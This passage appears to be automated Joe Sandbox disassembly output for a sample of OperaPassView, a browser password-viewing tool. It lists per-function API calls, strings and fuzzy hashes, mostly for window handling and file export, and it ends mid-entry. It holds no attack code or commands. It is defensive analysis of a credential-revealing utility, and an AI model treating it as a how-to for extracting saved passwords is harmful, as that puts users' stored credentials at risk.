Instruction ID: 9453a059592ad42c78b6b37bd85bce73a5cacd14e9a23cb9a166f4fbe1604a1c
Opcode Fuzzy Hash: 149c361682219c7e34215e06fcc554497841175788682e13768cb0a330dcec1d
Instruction Fuzzy Hash: 8021E272900214ABDB21AF50EC89EAF3B68FF05760F0044BEF905B50E1D7788991DF99

Function 00405052 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 00405068
memset.MSVCRT ref: 00405087
GetMenuItemInfoW.USER32 ref: 004050C3
wcschr.MSVCRT ref: 004050DB

Strings

6, xrefs: 004050AA
0, xrefs: 004050A2

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: 5f83e7dfff2683fd3da09f41f906c5c49763c21eea20386180a339c445556ac6
Instruction ID: 538c7a170678a2969158565ed220208d763336d8b4b0833da97998c4ee0265a7
Opcode Fuzzy Hash: 5f83e7dfff2683fd3da09f41f906c5c49763c21eea20386180a339c445556ac6
Instruction Fuzzy Hash: 4721DE32914304ABC7209F51D845A9FB7A8FF88754F000A3FF684A6281E77A9940CBDE

Function 00407803 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00407384: SendMessageW.USER32(?,0000000B,?,00000000), ref: 00407392

Part of subcall function 004038B4: LoadCursorW.USER32(00000000,00007F02), ref: 004038BB
Part of subcall function 004038B4: SetCursor.USER32(00000000), ref: 004038C2

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00407840

Part of subcall function 00407769: _snwprintf.MSVCRT ref: 00407796
Part of subcall function 00407769: _snwprintf.MSVCRT ref: 004077C1
Part of subcall function 00407769: wcscat.MSVCRT ref: 004077D4
Part of subcall function 00407769: SendMessageW.USER32(?,0000040B,00000000,?), ref: 004077FB

Part of subcall function 004038CE: SetCursor.USER32(00406EB4), ref: 004038D4

Part of subcall function 004058AB: SetFocus.USER32(?,00407873), ref: 004058B1

memset.MSVCRT ref: 004078A2
_snwprintf.MSVCRT ref: 004078BE
SetWindowTextW.USER32(?,OperaPassView), ref: 004078DA

Strings

OperaPassView, xrefs: 004078A8, 004078CF
%s - %s, xrefs: 004078AD

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: CursorMessageSend_snwprintf$FocusLoadTextWindowmemsetwcscat
String ID: %s - %s$OperaPassView
API String ID: 2853318093-1794996424
Opcode ID: 89465e328d0f591701b4b77d1b23a1bdeb4b2612a6e07a3e464c47ad0c26e3b1
Instruction ID: b1892371dd2e9f65290bc5ed040e2386b43b7ae8db8c37b5a9f578916e593a1d
Opcode Fuzzy Hash: 89465e328d0f591701b4b77d1b23a1bdeb4b2612a6e07a3e464c47ad0c26e3b1
Instruction Fuzzy Hash: 30216F31900205AFE310FB65CC85F96B7EDEF44308F0044B9B559A75D1CB7978558B55

Function 00404106 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00404126
_snwprintf.MSVCRT ref: 0040414D
wcscat.MSVCRT ref: 0040415F
wcscat.MSVCRT ref: 0040417C
wcscat.MSVCRT ref: 0040418B

Strings

%2.2X, xrefs: 0040413C

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: b1f95c932e24bcdfe99f188a17c3828b4f660331acecbfbb3d7642938c25ebb1
Instruction ID: daaebc757af128cb663d588b12b0cbc29fe2586e7ab738a320fc69d6085252d8
Opcode Fuzzy Hash: b1f95c932e24bcdfe99f188a17c3828b4f660331acecbfbb3d7642938c25ebb1
Instruction Fuzzy Hash: FB01F5B2E0431866E720A6519C4BBBA33ACEB80B14F10007FFD14B90C2EB7D994846CD

Function 004031B3 Relevance: 10.5, APIs: 7, Instructions: 48windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004031CA
GetWindow.USER32(?,00000005), ref: 004031E2
GetWindow.USER32(00000000), ref: 004031E5

Part of subcall function 00401584: GetWindowRect.USER32(?,?), ref: 00401593
Part of subcall function 00401584: MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004015AE

GetWindow.USER32(00000000,00000002), ref: 004031F1
GetDlgItem.USER32(?,000003EE), ref: 00403208
GetDlgItem.USER32(?,000003EE), ref: 00403216
SetFocus.USER32(00000000), ref: 00403219

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Window$ItemRect$ClientFocusPoints
String ID:
API String ID: 2702700334-0
Opcode ID: a85f5d6972250b487f189912b8203cb154522be3c771e050ceb9a77a4a5c8d1d
Instruction ID: 4c80671100bc7487ec600a80e72f158d44a53e1a999341b5ac59c428e69ca6c6
Opcode Fuzzy Hash: a85f5d6972250b487f189912b8203cb154522be3c771e050ceb9a77a4a5c8d1d
Instruction Fuzzy Hash: 5001DB31500308FBDB105B75DC89FAB7BADDBC9765F10052AF904BB250DB74ED018AA4

Function 0040AFB7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 0040AFCC
wcscat.MSVCRT ref: 0040AFDB
wcscat.MSVCRT ref: 0040AFEC
wcscat.MSVCRT ref: 0040AFFB
74D41560.VERSION(?,?,00000000,?), ref: 0040B015

Part of subcall function 00403BFD: wcslen.MSVCRT ref: 00403C04
Part of subcall function 00403BFD: memcpy.MSVCRT(?,?,000000FF,?,0040B032,00000000,?,?,?,00000000,?), ref: 00403C1A

Part of subcall function 00403C7C: lstrcpyW.KERNEL32(?,?,0040B03A,?,?,?,00000000,?), ref: 00403C91
Part of subcall function 00403C7C: lstrlenW.KERNEL32(?), ref: 00403C98

Strings

\StringFileInfo\, xrefs: 0040AFC6

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscat$D41560lstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 1466122427-2245444037
Opcode ID: 324682729d8186604e729f484209650df35c4949d97cda78b875cec455760db2
Instruction ID: f8ce8c5ff0c9cfaa06592da41163ef34e863ac78dd4625ffd6bbac5636820e08
Opcode Fuzzy Hash: 324682729d8186604e729f484209650df35c4949d97cda78b875cec455760db2
Instruction Fuzzy Hash: B2015E7290020CAACB10EAA1CC46EDF776CDB04304F000576B564F2092EF39DA8A9B9D

Function 00404E81 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00404EA6
wcscpy.MSVCRT ref: 00404EC9

Strings

dialog_%d, xrefs: 00404E9A
menu_%d, xrefs: 00404E8A
general, xrefs: 00404EBF
strings, xrefs: 00404EB4

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: 0933e8eb2af049f5224fd0a0279fc28b9d9fee4c80c44f955a7bbbc898aac174
Instruction ID: d7c126390a0a95e70c8d303e7ee891c4f76a78e8e38c5110ed71e63c4d85d429
Opcode Fuzzy Hash: 0933e8eb2af049f5224fd0a0279fc28b9d9fee4c80c44f955a7bbbc898aac174
Instruction Fuzzy Hash: 78E0E6B1FC830075DD5011D59C53B1B2541ABD5B24F704877F746B05D1E6BDA89425CF

Function 0040B400 Relevance: 10.2, APIs: 8, Instructions: 186COMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 0040B43F
memcpy.MSVCRT(?,0040C790,0000000B), ref: 0040B4E7
memcpy.MSVCRT(?,00000001,00000008), ref: 0040B4F7
memcpy.MSVCRT(?,?,00000010,?,?), ref: 0040B51D
memcpy.MSVCRT(?,0040C790,0000000B), ref: 0040B52D
memcpy.MSVCRT(?,00000001,00000008), ref: 0040B53D
memcpy.MSVCRT(?,?,00000008,?,?), ref: 0040B593
memset.MSVCRT ref: 0040B5E5

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpy$memchrmemset
String ID:
API String ID: 1581201632-0
Opcode ID: f60f60e2365ed897c929b8c74f0fd997f1cd53ae9cc400f4c443353e134ed1ba
Instruction ID: 01e1e0abaa7c517d468a3621524a070298f9ba8d4cbfca9af77019fa2c654f59
Opcode Fuzzy Hash: f60f60e2365ed897c929b8c74f0fd997f1cd53ae9cc400f4c443353e134ed1ba
Instruction Fuzzy Hash: BB51B3725143455BC710DE69C881EABB7E8EB84304F040D3FF995D7282E739EA09C7AA

Function 00409D65 Relevance: 9.1, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00409A15,00000000,00000000), ref: 00409DA0
memset.MSVCRT ref: 00409E02
memset.MSVCRT ref: 00409E12

Part of subcall function 00409C7F: wcscpy.MSVCRT ref: 00409CA8

memset.MSVCRT ref: 00409EFD
wcscpy.MSVCRT ref: 00409F1E
CloseHandle.KERNEL32(?,00409A15,?,?,?,00409A15,00000000,00000000), ref: 00409F74

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: db29b1a15ab221589b072cade464e9f57ecbfdb672e9c3838357f40fba68a12d
Instruction ID: ed0b31324ba2f07f6e5e15296f4eb4d60d58a6fc9675b4e9f40aac7df0c1affd
Opcode Fuzzy Hash: db29b1a15ab221589b072cade464e9f57ecbfdb672e9c3838357f40fba68a12d
Instruction Fuzzy Hash: 0A516D71108345AFD720DF25C884A9FBBE8FF84304F004A2EF589E2291DB75D944CBAA

Function 00407E81 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 78COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407EA3

Part of subcall function 004049DF: GetModuleHandleW.KERNEL32(00000000,00000400,?,004020A6,OperaPassView), ref: 00404A1E
Part of subcall function 004049DF: LoadStringW.USER32(00000000,00000006,?,00000400), ref: 00404AB7
Part of subcall function 004049DF: memcpy.MSVCRT(00000000,00000002,?,004020A6,OperaPassView), ref: 00404AF7

Part of subcall function 004049DF: wcscpy.MSVCRT ref: 00404A60
Part of subcall function 004049DF: wcslen.MSVCRT ref: 00404A7E
Part of subcall function 004049DF: GetModuleHandleW.KERNEL32(00000000,?,?,004020A6,OperaPassView), ref: 00404A8C

Part of subcall function 004043C3: memset.MSVCRT ref: 004043E4
Part of subcall function 004043C3: _snwprintf.MSVCRT ref: 00404417
Part of subcall function 004043C3: wcslen.MSVCRT ref: 00404423
Part of subcall function 004043C3: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),0040D934,?,?,?,00000000), ref: 0040443B
Part of subcall function 004043C3: wcslen.MSVCRT ref: 00404449
Part of subcall function 004043C3: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),0040D934,?,?,?,00000000), ref: 0040445C

Part of subcall function 00404208: wcscpy.MSVCRT ref: 0040426E

Strings

*.csv, xrefs: 00407EF4
*.txt, xrefs: 00407EC5
txt, xrefs: 00407EA8
*.htm;*.html, xrefs: 00407F09
*.xml, xrefs: 00407F30

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 2618321458-3614832568
Opcode ID: fa6aac4af9a437cf9dfdff43ae2e0e7df4d45df21183e3b5f77e80c00bc9b2de
Instruction ID: 7557137d6e321005020f6f1fadc05ab8639f5b3343127878cbcf5c5923e4d1d4
Opcode Fuzzy Hash: fa6aac4af9a437cf9dfdff43ae2e0e7df4d45df21183e3b5f77e80c00bc9b2de
Instruction Fuzzy Hash: F73130F1D0021D9FDB40EFA5D882ADE7BB4FB44318F10417BE649BB281DB385A558B98

Function 00401668 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00401677
GetSystemMetrics.USER32(00000015), ref: 00401685
GetSystemMetrics.USER32(00000014), ref: 00401691
BeginPaint.USER32(?,?), ref: 004016AB
DrawFrameControl.USER32(00000000,?,00000003,00000008), ref: 004016BA
EndPaint.USER32(?,?), ref: 004016C7

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 2cb91dd7ddc020dc7075c663e85983b846ce3e7c7572fcf6cde57d9b21bee265
Instruction ID: 8457468c7a12c04a8a2756ab15cf5a6a7ead8c4fdf81a6fa8c14e0d140124ace
Opcode Fuzzy Hash: 2cb91dd7ddc020dc7075c663e85983b846ce3e7c7572fcf6cde57d9b21bee265
Instruction Fuzzy Hash: DD012872900218EFDF04DFA8DD989AF7BB9FB49701F000529AA11AA195DA71A904CF90

Function 00406A28 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

memset.MSVCRT ref: 00406A5F

Part of subcall function 0040ABF1: memcpy.MSVCRT(?,<,00000008,?,?,00000000,00406A80,?,?), ref: 0040AC6E

Part of subcall function 00406327: wcscpy.MSVCRT ref: 0040632C
Part of subcall function 00406327: _wcslwr.MSVCRT ref: 0040635F

_snwprintf.MSVCRT ref: 00406AA9

Strings

</item>, xrefs: 00406AC3
<%s>%s</%s>, xrefs: 00406A9C
<item>, xrefs: 00406A32

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: FileWrite_snwprintf_wcslwrmemcpymemsetwcscpywcslen
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 2236007434-2769808009
Opcode ID: 1c4dfc45c64888dcd19906e1ce87c119c460b1c8613f51e5e6cc6a97c9452b99
Instruction ID: 532fc3798995e24f7969d992cf274a640e06e6b710a7d6fa20a9e01b27acc6bf
Opcode Fuzzy Hash: 1c4dfc45c64888dcd19906e1ce87c119c460b1c8613f51e5e6cc6a97c9452b99
Instruction Fuzzy Hash: DE118232900219BFDB10AF55DC86E99BB65FF04318F10402AF905765E2D775B964DBC8

Function 00408A4C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00408A6D
RegisterClassW.USER32(?), ref: 00408A92
GetModuleHandleW.KERNEL32(00000000), ref: 00408A99
CreateWindowExW.USER32(00000000,OperaPassView,OperaPassView,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00408AB8

Strings

OperaPassView, xrefs: 00408AB0, 00408AB5, 00408AB6

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: HandleModule$ClassCreateRegisterWindow
String ID: OperaPassView
API String ID: 2678498856-491582363
Opcode ID: ebee921cd340d24d1c112a0114619ca97e70da3c529be146949097683970dde6
Instruction ID: 6139fefc9463364463f6ba3dac0f6dfd072d0918ab9cedadf57f00407217c3e7
Opcode Fuzzy Hash: ebee921cd340d24d1c112a0114619ca97e70da3c529be146949097683970dde6
Instruction Fuzzy Hash: BD01C8B1901229BBD7119F998D89ADFBEBCFF09750F104216F514F2241D7B45A40CBE9

Function 00406C03 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406C27
memset.MSVCRT ref: 00406C3E

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

Part of subcall function 00406327: wcscpy.MSVCRT ref: 0040632C
Part of subcall function 00406327: _wcslwr.MSVCRT ref: 0040635F

_snwprintf.MSVCRT ref: 00406C7A

Strings

<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00406C43
<%s>, xrefs: 00406C69

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
String ID: <%s>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 168708657-1998499579
Opcode ID: d4fec9760c6bce6f9e22fa121f8f1f1fb7164566b64fe3a51784db92f15cfb28
Instruction ID: 659f90def2f8e6d2578ba1f6b517c8c342f70bbf21c1d70c407bd2e86063c475
Opcode Fuzzy Hash: d4fec9760c6bce6f9e22fa121f8f1f1fb7164566b64fe3a51784db92f15cfb28
Instruction Fuzzy Hash: AF0144F2D401197BDB20AB55CC46FEA7A6CEF44308F0004B6BA08B60D2D7789A558A9D

Function 004039D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004039ED
_snwprintf.MSVCRT ref: 00403A1A
MessageBoxW.USER32(?,?,Error,00000030), ref: 00403A33

Strings

Error, xrefs: 00403A24
Error %d: %s, xrefs: 00403A09

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: dfb88c5729f0bf346466b19c2265fac6ab5e7b0b149df898466e0d6eeb2203f1
Instruction ID: 8058225859fe7cde546f22b942a46c42c63a718d5ea86f2e76bade30defb87b6
Opcode Fuzzy Hash: dfb88c5729f0bf346466b19c2265fac6ab5e7b0b149df898466e0d6eeb2203f1
Instruction Fuzzy Hash: D4F0A7B6540108A6DB11AB95CC46FDA77ECEB48791F0401BBB604B31C1EBB4AA448EAD

Function 0040A6A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 0040A6B6
wcscpy.MSVCRT ref: 0040A6C7
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,00000000,004081ED,?), ref: 0040A6E5
CloseHandle.KERNEL32(00000000), ref: 0040A6EC

Strings

General, xrefs: 0040A6BB

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscpy$CloseCreateFileHandle
String ID: General
API String ID: 999786162-26480598
Opcode ID: 5a1bcd6ee0fbd5839e7ab1779c391e91d176d6b31a9065dfd3aae4479c58490c
Instruction ID: 80fd9d1d714720778e2857487aaf7ea67508ef76b285aa25bafc728f417c3cc9
Opcode Fuzzy Hash: 5a1bcd6ee0fbd5839e7ab1779c391e91d176d6b31a9065dfd3aae4479c58490c
Instruction Fuzzy Hash: A2E09AB2800211BFE3117B708C59FBF7A9DDB54300F44C83AF95AF2191EA398C5596AE

Function 0040AB86 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shlwapi.dll,000003EE,75C08FB0,00403210,00000000), ref: 0040AB8F
GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0040AB9D
FreeLibrary.KERNEL32(00000000), ref: 0040ABB5

Strings

shlwapi.dll, xrefs: 0040AB88
SHAutoComplete, xrefs: 0040AB97

Memory Dump Source

